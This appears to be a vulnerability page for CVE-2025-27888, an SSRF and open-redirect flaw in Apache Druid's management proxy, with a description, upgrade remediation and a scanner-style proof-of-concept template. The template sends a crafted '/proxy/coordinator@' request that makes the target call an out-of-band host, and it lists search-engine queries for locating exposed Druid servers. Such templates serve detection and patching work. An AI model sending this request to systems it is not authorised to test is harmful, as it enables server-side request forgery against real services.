CVE-2025-27888: Apache Druid - Server-Side Request Forgery

2025-08-01 Apache Druid PoC Public

Description

Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.

PoC

id: CVE-2025-27888

info:
  name: Apache Druid - Server-Side Request Forgery
  author: xbow,DhiyaneshDK
  severity: high
  description: |
    Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.
  impact: |
    Authenticated attackers can exploit SSRF vulnerabilities through the management proxy to redirect requests to arbitrary servers, potentially enabling XSS, XSRF attacks, or accessing internal services.
  remediation: |
    Upgrade to Apache Druid version 31.0.2 or 32.0.1, or disable the management proxy to mitigate this vulnerability.
  reference:
    - https://lists.apache.org/thread/c0qo989pwtrqkjv6xfr0c30dnjq8vf39
    - http://www.openwall.com/lists/oss-security/2025/03/19/7
  classification:
    epss-score: 0.01726
    epss-percentile: 0.76387
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: druid
    shodan-query: http.title:"apache druid"
    fofa-query: title="apache druid"
    google-query: intitle:"apache druid"
  tags: cve,cve2025,apache,druid,ssrf,oast,oss,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/unified-console.html'

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Apache Druid")'
        internal: true

  - raw:
      - |
        GET /proxy/coordinator@{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
# digest: 4a0a004730450221008edeb0abf75d5ba525ee23730732fb1315bc1de9017a061c74604b7a88d7252d0220642d2bacb42f3ac78e3d95c4fee84e6d30313c6ee3e4a4ea9eab4dcf773f691e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities